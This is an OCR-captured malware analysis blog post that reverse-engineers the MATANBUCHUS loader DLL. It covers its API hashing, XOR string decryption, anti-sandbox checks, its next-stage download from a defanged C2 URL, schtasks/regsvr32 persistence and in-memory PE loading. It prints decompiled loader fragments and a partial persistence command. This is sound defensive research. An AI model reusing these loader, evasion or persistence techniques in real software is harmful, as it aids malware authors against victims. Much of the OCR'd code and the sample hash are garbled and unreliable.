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MATANBUCHUS is a commercialized loader that is used to download and launch malware on victim machines
such as QAKBOT and COBALT STRIKE beacons. It has been observed that the loader spreads through social

engineering in the form of malicious Excel documents.

Throughout different versions of the malware, the author has changed the API and string obfuscation methods, but
the functionality of the loader has remained the same. In this post, we will focus on analyzing the latest loader

DLL instead of the whole infection chain.

To follow along, you can grab the sample on MalwareBazaar.

SHA256: E58BOBBB7BCDF3E901453B7B9COE514FED1ES3565E3280353DCCC77CDE26A98E

Step 1: API Obfuscation

In the latest version of MATANBUCHUS, the malware dynamically resolves its API to avoid exposing its
functionality through its import table. The function to import APIs takes in a hash value and the DLL name of the

target API.

if ( !dword_1001CF88 )
dword_1001CF88 = w_resolve_API(@xEU63DA3C, dll_name, a2);

return dword_1001CF88;

As observed, the API address returned from the function is stored into a global variable. Since resolving these
addresses requires MATANBUCHUS to walk through the loaded DLL list in the PEB to locate the target DLL and
through its import table to find the address, storing the result in a global variable allows the malware to reuse it

without wasting computing power to resolve the address again.

A quick and easy way to identify the API’s name hashing algorithm is by using Mandiant’s capa explorer or
OALabs’s HashDB IDA plugins. As shown in the screenshot below, we can use HashDB’s Hunt Algorithm
feature to find that the hash 0xE463DA3C belongs to an API name hashed by the FNV-1a algorithm. By agreeing
to set HashDB’s default algorithm to FN'V-1a, we can use the plugin to manually resolve each API as we

encounter them.
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d_1001CF88 )
1001CF88 = w_resolve_API(BxEUB3DA3C, dll_name, a2);
return dword_10@1CF388;

gorithms contain & matching hash.
orithm to set as the default for HashDE.

Algorithm Size (Bi

fnvla 32

Line 1 of 1

In the function to resolve API, MATANBUCHUS accesses the Process Environment Block (PEB) through the
Thread Environment Block (TEB) and retrieves its InMemoryOrderModuleList field. This field contains the
head of a doubly-linked list that contains the loaded modules of the malware’s process, and MATANBUCHUS
iterates through this list to find the base of the target DLL.

DWORD __stdcall resolve_API(int API_hash, int DLL_name, int a3)

I
L

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

p_InMemoryOrderModuleList = &TEB—ProcessEnvironmentBlock—Ldr—InMemoryOrderModulelist;
PEB_node = #*p_InMemoryOrderModulelList;
do
{
target_dl1l_base = PEB_node—InInitializationOrderLinks.Flink;

if ( !DLL_name || !w_StrCmpIW(&v8, SPEB_node—>FullDllName.Buffer, &DLL_name) )

5
L

API_address = get_API_address(target_dll_base, API_hash);
if ( API_address )
return API_address;

3

PEB_node = PEB_node—InLoadOrderlLinks.Flink;

3

while ( PEB_node % p_InMemoryOrderModulelList );
return 8;
}

The function to get the target API address retrieves the DLL’s export table directory, iterates through the list of
exported APIs, checks their hash against the target hash, and returns the API address upon finding a match.
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) __stdcall get_API_addres nt dll_base, int API_hash)
/ [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
( *d11_base !

dll_nt_header = (*(dll_base + ) + dl1_base);
( dl1_nt_header->Signature != "EP' )

( dl1l_nt_header->FileHeader.SizeOfOptionalHeader < || 'dll_nt_header->OptionalHeader .NumberOfRvaAndSizes )

N

].VirtualAddress;

= (*(&image_d e export->AddressOfNameOrdinals + dll_base) + dll_base);
- = (*(&image_dir_entr)
Function
(i=

a_hashi = [i] + d11_base) == API_hash )
Functions_list[NameOrdinals_list[i]] + d11_base;

Since HashDB was down when I was performing the analysis, I wrote a small IDAPython script to find all
functions to automatically resolve all imported APIs in the IDB. For those who are interested in doing this

programmatically, feel free to check it out!

Step 2: String Obfuscation

The next obfuscation that MATANBUCHUS uses is string encryption. Every encrypted string in the malware is

decrypted through two separate functions.

The first one simply populates the encoded data in a stack string and copies that data into a global character buffer.
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populate stack
string

]
]
1
]
1
]
1

dword_1881CD3u

short loc_leeeudrsu

mov
or
mov
lea
push
mov
call
push
call
add

ecx, dword_1881CD34

ecx, copy stack string
= 5

A : to global buffer

edx

ecx, offset byte_leel1cCD24

W_memmove

offset sub_l8814888

_atexit

esp,

The address of this buffer is then returned to be decrypted before the malware can use the unobfuscated string.

The use of stack strings in this part is a bit redundant since the global buffer can be populated directly in a similar

manner.

The decoding function takes the address of the global buffer in as a parameter. To decode each string, it calls a
subroutine that takes in the encoded buffer, its length, and a DWORD64 number.

_BYTE *__thiscall w_decode_string(_BYTE *encoded_buffer)

)
L

_BYTE =*result; // eax

result = encoded_buffer;
if ( encoded_buffer[12] )

)
L

decode_string(encoded_buffer, &xCuisi, 6xT77D119B113CB311Buisu);
result = encoded_buffer;
encoded_buffer[12] = ©;

h
return result;
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The DWORD64 number is used as the XOR value to decode the string. For each byte in the string, the malware
XORs it with the least-significant byte in the XOR key before rotating it to the right by 1 byte

void __stdcall decode_string(BYTE *buffer, unsigned __intéd length, unsigned __intéu xor_Key)

{

unsigned __intéd i; // [esp+8h] [ebp-8h]

for ( i = @isy; i < length; +i )
buffer[i] = xor_key > (8 * (i % );

A quick example is if the encoded buffer contain 0OxAABBCC and the XOR key is the same as above, the malware
will decode it by XOR-ing 0xCC with 0x1B, 0xBB with 0x31, and 0xAA with 0xCB.

Step 3: Entry Points

The DLL comes with 4 different export functions. Beside looking at their names, a quick analysis of their code

can tell us which ones are used as the DLL entry points.

fi p11Install 10008630
fd DLlRegisterserver 10008A90
fd pllunregisterserver 10008BEG

if DL1EntryPoint 100095E3 [main entry]

The DIIEntryPoint function simply leads to the DIIMain entrypoint, which does not contain anything important.
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?dllmain_raw@@YGHQAUHINSTANCE__@@HKQAX@Z proc near

dword ptr
dword ptr
dword ptr

ebp
mov ebp, esp
push esi
mov esi, ds:dword_le015384
test esi, esi
jnz short loc_100895CB

Y
xor eax, eax
inc eax loc_108895CB:
jmp short loc_100095DE push [ebp+:
mov ecx, es
push
push [ebp+:
call ds:____guard_check_icall_fptr
call esi ; dword_1801538

L

loc_108095DE:

pop esi

pop ebp

retn

?dllmain_raw@@YGHQAUHINSTANCE _@@KQAXE@Z endp

The DIlUnregisterServer function resolves the API MessageBoxA, decrypts the strings “DIl Uinstall” and

“UnregisterServer”, and uses them as parameters for calling MessageBoxA.
HRESULT __stdcall DllUnregisterServer()
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v7 = 8;

Ve e;
MessageBoxA = get_MessageBoxA(®, 8);

ve = sub_leeeu220(&v7);

title = sub_leee3cee(ve);

vl = sub_leeeuu7e(&ve);

message = sub_leee393e(vl);

return MessageBoxA(®, message, title, ©) == @;

The remaining two functions, DllInstall and DIIRegisterServer, are pretty much the same since they execute the

same functionalities. However, their anti-sandbox and RunOnce mutex checks are a bit different from each other.
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if ( load_dyn_libraries() )

vl5 = 0;

ExpandEnvironmentStringsA = get_ExpandEnvironmentStringsA(L
v = sub_1000 (&v15);

COMPUTERNAME _env_str = sub_108003D1e(v0);
ExpandEnvironmentStringsA(COMPUTERNAME _env_st computer_name,
GetTickCounted_1 = get_GetTickCounteu(L 1", e);
ori_tickcount = GetTickCounted_1();

while ( vid < vi1@ )
5
1

Sleep( ;

Beep = get_Beep(L
Beep(@, 3000);
+Hvld;

1
¥

GetTickCounted = get_GetTickCounted(L"K
final_tickcount = GetTickCountsu();
v1ll = final_tickcount - ori_tickcount;
if ( (final_tickcount - ori_tickcount) = 5500€ = vl )
{

if ( !get_module_rundll32_and_regsvr32() )

return 1,
if ( check_runonce_mutex(computer_name) )

I
L

if ( !check_dropped_folder_exist() )

{

v5 = check_number_of_process();
if (vs #= 1)
return 9;
n_remote_next_stage();

In DIIRegisterServer, the malware first calls GetTickCount64 to retrieve the first timestamp. Next, it executes
Sleep to suspend itself for 6 seconds and Beep to generate some tone on the system’s speaker for 3 seconds, and
this is repeated in a loop for 10 times. Finally, the malware calls GetTickCount64 to retrieve the final timestamp

and checks to see if at least 55 seconds have passed.

This is a simple check since a lot of sandboxes hook and bypass the Sleep and Beep APIs to prevent malware
from idling over their execution time. If these APIs are bypassed and the time difference between tick counts is

less than the expected value, the malware assumes that it is running in a sandbox and exits immediately.

To check for multiple instances of the malware executing, MATANBUCHUS decrypts the string
“%COMPUTERNAME%” and calls ExpandEnvironmentStringsA to retrieve the victim’s computer name. It

calls CreateMutexA using that name and exits if there is another instance running with the same mutex.
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int __stdcall check_runonce_mutex(int mutex_name)

/{ [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

CreateMutexA = get_CreateMutexaA(e, ©);

mutex_handle = CreateMutexA(®, 1, mutex_name);

LastError = get_GetLastError(e, 8);

if ( LastError() ¥ ERROR_ALREADY_EXISTS )
return 1;

CloseHandle = get_CloseHandle(®, 8);

CloseHandle(mutex_handle);

return 8;

Unlike DIIRegisterServer, the DllInstall function does not have a RunOnce mutex check. It instead has a check

to see if the browser Opera is installed on the victim’s machine. It does this by decrypting the string

“%PROGRAMFILES%\Opera\Opera.exe”, calls ExpandEnvironmentStringsA to expand it to the full path to

the Opera executable, and calls PathFileExistsA to check if it exists.

opera_exists()

[COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

= 9052E0(&V5) ;
a(ve);
onmentStringsA(vl, opera_path,
PathFileExistsA = get_PathFileExistsA(L"Sh
return PathFileExistsA(opera_path) == @;

Both functions share an anti-sandbox check by checking for the number of processes running on the system. The

malware retrieves the total number of processes by calling K32EnumProcesses and checks if it is less than 50. If

it is, then MATANBUCHUS exits immediately.

int check_number_of_process()

i
L

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

K32EnumProcesses = get_K32EnumProcesses(8, 0);
K32EnumProcesses(lpidProcess, 102U, &lpcbNeeded);
v3 = lpcbNeeded >> 2;

if ( lpcbNeeded > 2 < 58 )

F)

L
ExitProcess = get_ExitProcess(L"Kerne
ExitProcess(-2);

h

return 1;

Step 4: Loading Libraries Dynamically
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The way MATANBUCHUS dynamically resolves API requires the imported DLLs to be already loaded in
memory. Since only DLLs specified in the malware’s PE are loaded in memory upon execution, it must manually

load external libraries that it needs using GetModuleHandleA and LoadLibraryA calls.

For each of the libraries, MATANBUCHUS decrypts its name and calls GetModuleHandleA to check if it’s

already loaded, and if not, the malware calls LoadLibraryA to load it into memory.

viug = 8;
GetModuleHandleA = get_GetModuleHandleA(L"KE
v@ = sub_l18eBUF1e(&vug):

Shell32_dll_str = sub_1eee3cse(ve);

if ( !GetModuleHandleA(Shell32_dll_str) )

)
L

vi7 = 8;

LoadLibraryA = get_LoadLibraryA(L"KERN
vl = sub_le0883DFe(&vU47);
Shell32_dll_str_1 = sub_1 3pFa(vl);
LoadLibraryA(Shell32_dll_str_1);

1
3

vi6 = 8;
GetModuleHandleA_1 = get_GetModuleHandleA(L"K
v2 = sub_leeeul2e(&vue);

IPHLPAPI_DLL_str = sub_1 )3c90(v2);

if ( !'GetModuleHandleA_1(IPHLPAPI_DLL_str) )

)
L

vu5 = 0;

LoadLibraryA_5 = get_Loac
IPHLPAPI_DLL_str_1 = sub_1 :

v30 = sub_18 CDO(IPHLPAPI_DLL_str_1);
LoadLibraryaA_5(v3e);

Below is the list of all loaded libraries.

o Shell32.dll

e IPHLPAPI.DLL
o« WS2_32.dil

e Wininet.dll

e Shlwapi.dll

o USER32.dll

The malware also calls GetModuleHandleA to check if rundll32.exe and regsvr32.exe are loaded in memory.
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get_module_rundll32_and_regsvr32()

[COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

= @8-
= sub_leseupes(&vE);
rundll32_exe_str = sub_leee3c7e(ve);

rundl132_exe_handle = w_GetModuleHandleA(rundl132_exe_str);
v7 = B8,

v2 = sub_leeeue9e(&v7);

regsvr32_exe_str = sub_10003CFa(v2);

regsvr32_exe_handle = w_GetModuleHandleA(regsvr32_exe_str);
return rundll32_exe_handle || regsvr32_exe_handle ¥ ©;

Step 5: Dropping Self & Launching Through Regsvr32

One of the main functionalities of MATANBUCHUS is downloading a DLL from a remote server and launching it
through Regsvr32.exe.

First, the malware checks if the target folder to drop the next stage already exists. It decrypts the environment
strings “%ProgramData%\” and “%PROCESSOR_LEVEL%\” and retrieves their values by calling
ExpandEnvironmentStringsA. The malware then appends the processor level to the ProgramData path to

construct the drop folder path and calls PathIsDirectoryA to check if the folder exists.

BOOL check_dropped_folder_exist()
5
L

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

ndEnvironmentString rog a_ENV_PATH, program_data_str, 2
ndEnvironmentStringsA 5 J

lstrcatA = get_lstrcatA(L

lstrcatA(program_data_str, PROCESSOR_LEVEL);

PathIsDirectoryA = get_PathIsDirectoryA(L 1

return PathIsDirectoryA(program_data_str) =+

If it doesn’t exist yet, the malware creates the folder by calling CreateDirectoryA and downloads the remote file

in there.

int drop_remote_next_stage()
I
L

/{ [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

w_memset(vl3, O,
(vi2, o, i
(&lpStartupInfo, ©,
ndEnvironmentString
andEnvironmentString _R ON H, PROCESSOR_REVISION_value, 10u48);
ernel Mg

3 dEnvironmentStringsA < vironme 5 L 2]
vidd = PROCESSOR_LEVEL_ENV_|
ExpandEnvironmentStringsA(PR R_LEVEL_ENV_PATH, PROCESSOR_LEVEL_value, 10u8);
lstrcatA = get_lstrcatA(e, 0);
lstrcatA(local_ocx_path, PROCESSOR_LEVEL_value);
CreateDirectoryA = get_CreateDirector
if ( !CreateDirectoryA(local_ocx_path,
return 0;
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The malware retrieves the revision number of the processor by calling ExpandEnvironmentStringsA on the
environment string “%PROCESSOR_REVISION%” and uses it as the filename of the next stage.

Next, it appends the filename and the extension .ocx to the ProgramData folder path, and calls a function to

download the DLL to register from the following URL.

hxxps://manageintel[.]com/RKyiihgXQiyE/xukYadevoVow/QXms.xml

REVISION_value);

local _ocx

The function to download the next stage first calls InternetCheckConnectionA to check if a connection to the
URL can be established. Then it calls InternetOpenA to initialize the use of WinINet functions, CreateFileA to
create the target file at the specified path, and InternetOpenUrIA to open a connection to the URL.

To read data from the remote file, MATANBUCHUS calls VirtualAlloc to allocate a memory buffer with size
0x100000 bytes, InternetReadFile to read remote data into this buffer, and WriteFile to write the file content

into the local file.

nectionA =
etCheckConnecti

internet_handle = Int
local_file_handle

url_internet_handle
if ( url_int et_handle )
{

while (1)

{

L_internet_handle, data_buffer, 3, &lpdwNumberOfBytesRead) )

le(local_file_handle);

fer_1 = data_buffer;
_buffer == 'IN' )

: eFile(@, 0);
1pdwNumber y ead_1 = lpdwNumberOfBytesRead;
WriteFile(lo file_handle, data_buffer, lpdwNumberOfBy 2ad, 1pNumberOfBytesWritten, €);
+chunk_count

Finally, the malware crafted the following string before executing it with CreateProcessA.

"C:\Windows\system32\schtasks.exe" /Create /SC MINUTE /MO 3 /TN %PROCESSOR_REVISION% /TR "%windir%\system32\re
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I(&vU9);
1 (v1);
atA_u(full_command,

e(v2);

full_command, v

schtasks_exe_path 39F8
rocessA(schtasks_e: e, o, &, 520, 0, 0, &lpStartupInfo, &lpProcessInformation) )

rocess,
(LpProc F tion.hProcess);
:(1pProcessInformation.hThread);

This command schedules a task to execute every 3 minutes with the task name of the processor’s revision number,
and this task will execute the regsvr32.exe command to register the downloaded DLL as a command component

in the registry.

When registering a DLL, regsvr32.exe internally calls the DLL’s DIIRegisterServer export function. Therefore, if

the malicious DLL exports the DIIRegisterServer export, it is periodically launched every 3 minutes.

Because the remote server is down by the time I’m writing this post, I’m unable to retrieve this specific DLL for
further analysis. However, thanks to JoeSandbox, I found out that the downloaded file is the exact same file that

we are analyzing.

Created / dropped Files -
C\ProgramDats\6\5507.0cx 1 €3 —

From this, we can conclude that this scheduled task to execute the regsvr32.exe command is a method of

persistence for the malware to periodically launch itself.

Step 5: Launching Remote File From Memory

Finally, MATANBUCHUS downloads another file from the remote server using the same method at the URL

below. This time, the downloaded content is stored in a memory buffer instead of being written to a file.

hxxps://manageintel[.]com/RKyiihgXQiyE/xukYadevoVow/BhIM. xml
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ocal_file_buffer);
L_file_buffer_dup, v21);

file_buffer);

If the downloaded file contains the proper MZ header, the malware loads the PE in memory, relocates it properly

and launches its entry point.

if ( file_DOS_heade = "IM' )
{
get_inner_
(local_file_buffer
Llocal_mapped_fil

(local_file_buffer);

When loading the PE into memory, the malware retrieves its number of sections and image size through its

optional header. It calls VirtualAlloc to allocate a virtual memory buffer with the image size to write the PE in.

First, MATANBUCHUS writes the image’s DOS header and NT headers in. Next, it iterates through the PE’s

section headers to write each section in the memory buffer.

.FileHeader.NumberOfSections; + ion_index )
ex].PointerToRawData + local_file_buffer_ea);

ex].VirtualAddress],

ection_header ion_index].SizeOfRawData);

To relocate the PE, the malware checks if its requested image base from the optional header is the same as the
address of the allocated buffer. If it is not and the PE contains a relocation table, MATANBUCHUS relocates it by
iterating through each block in the table and relocates fields in the PE according to the difference between the

bases.

Page 13 of 16



https://www.Offset.net /reverse-engineering/matanbuchus-loader-analysis/

pe_header_offset = (image_base + *(image_base + 60));
image_base_from_optional_header = pe_header_offset—0OptionalHeader.ImageBase;
if ( image_base -= image_base_from_optional_header )

return 1;
pe_header_offset—0OptionalHeader.DataDirectory[5].VirtualAddress )
1
for ( relocation_block_va = (image_base + pe_header_offset—0OptionalHeader.DataDirectory[5].VirtualAddress);
relocation_block_va—SizeOfBlock;
relocation_block_va = (relocation_block_va + relocation_block_va—SizeOfBlock) )

tion_block_va—3SizeOfBlock - 8) > 1;
i< wv2; +i)

'

location_block_val[l].VirtualAddress + i) >> 12;

return 6;
offset = *(&relocation_block_va[l].VirtualAddress + i) & OxFFF;
*(image_base + offset + relocation_block_va—VirtualAddress) += image_base - image_base_from_optional_header;

Next, the malware manually resolves the addresses of imported APIs in the PE’s import table. It first checks if the
import table exists in the PE’s data directory and iterates through each import descriptor in the table if it exists.
For the library name in the import descriptor, MATANBUCHUS calls GetModuleHandleA or LoadLibraryA to

retrieve its handle depending if the library is loaded in memory or not.

(image_base + *(image_base + 60));
—+0ptionalHeader.DataDirectory[l].Virtualﬂddress )
urn 1;
( import_d
import_d
+import_d

LoadLibrar
library_ba

Next, the malware retrieves the virtual address of the PE’s Import Lookup Table through the import descriptor. It
iterates through this table, extracts each API’s name or ordinal number, calls GetProcAddress to retrieve its

address from the loaded library, and writes the result back into the PE’s table.

se )

if scriptor—Characteristics )
mport_lookup_table_rva = (image_base + import_descriptor—Characteristics);

if ( import iptor—FirstThunk )
*(image_| + import_descriptor—FirstThunk + vi) = API_address;

mport_lookup_table_ = API_address;
+import_lookup_table_rv
wvil += U;
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Once this is done, MATANBUCHUS executes the PE from memory by retrieving its entry point address from the

optional header and executes a call instruction to launch it.

k]
if ( relocate_PE(new_image_virtual_buff) && manually_import_APIs(new_image_virtual_buff) )
i
L

(&new_image_virtual_buff[image_NT_Header.OptionalHeader.AddressOfEntryPoint])(new_image_virtual_buff, 1, @)

¥

else

{
w_VirtualFree(new_image_virtual_buff, @,
return @;

Beside launching the PE from its entry point, the malware resolves the string “DIIRegisterServer” in memory,
calls a function to find the export DIIRegisterServer’s address in the PE’s export table, and launches the PE from

it.

vl = get_inner_address(v22);
dll_base = manually_load_an unch_PE_entrypoint(vtl);
Virtual_Dl1RegisterServer_addr = find_PE_export_address(dll_base, DllRegisterServer_STR);
if ( !Virtual_DllRegisterServer_addr )
{
mem_free(dll_base);
vlé = get_ExitProcess(L"K
v16(0);
}
Virtual_ DllRegisterServer_a
v5 = get_inner_address(v22);
w_HeapFree(v5);
mem_free(dll_base);

The function to find an export address iterates through each export in the PE’s export directory, extracts its name,

and returns its address if the name matches with the target export being looked up.

if ( dll_base )
{
image_export_dir = (dll_base + *(dll_base + *(dll_base + 0x3C) + 0x78));
addr of _na list ase + image_export_dir—>AddressOfNames);
address_of_name_or o £ (dl1_base + image_export_dir—>AddressOfNameOrdinals);
se + image_export_dir—AddressOfFunctions);
if ( image_export_dir—NumberOfNames = image_export_dir—NumberOfFunctions )
NumberOfFunctions = image_export_dir—NumberOfFunctions;
else
NumberOfFunctions = image_export_dir—NumberOfNames;
for ( i = @; i < NumberOfFunctions; +i )
{
if ( i = image_export_dir—NumberOfFunctions )
{
PE_export_name = 0;
vi2 = i;
}
else
{
PE_export_name = (dll_base + address_of_names_list[i]);
vl2 = address_of_name_ordinals_1l [il;
}

export_addr = dll_base + address_of_funcs_list[v12];

if ( export_name_1 imagc,E.r.port,dir—)Base + v12 || PE_export_name && 1_-.'_L-|_|||::sCF‘E,r_'xpurt,namc, u::-:pm‘t,ﬂamr_') )
return export_addr;

And with that, we have fully analyzed MATANBUCHUS’s functionalities as a loader! If you have any questions

regarding the analysis, feel free to reach out to me via Twitter.
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https://twitter.com/cPeterr

https://www.Offset.net /reverse-engineering/matanbuchus-loader-analysis/

Source: https://www.0ffset.net/reverse-engineering/matanbuchus-loader-analysis/
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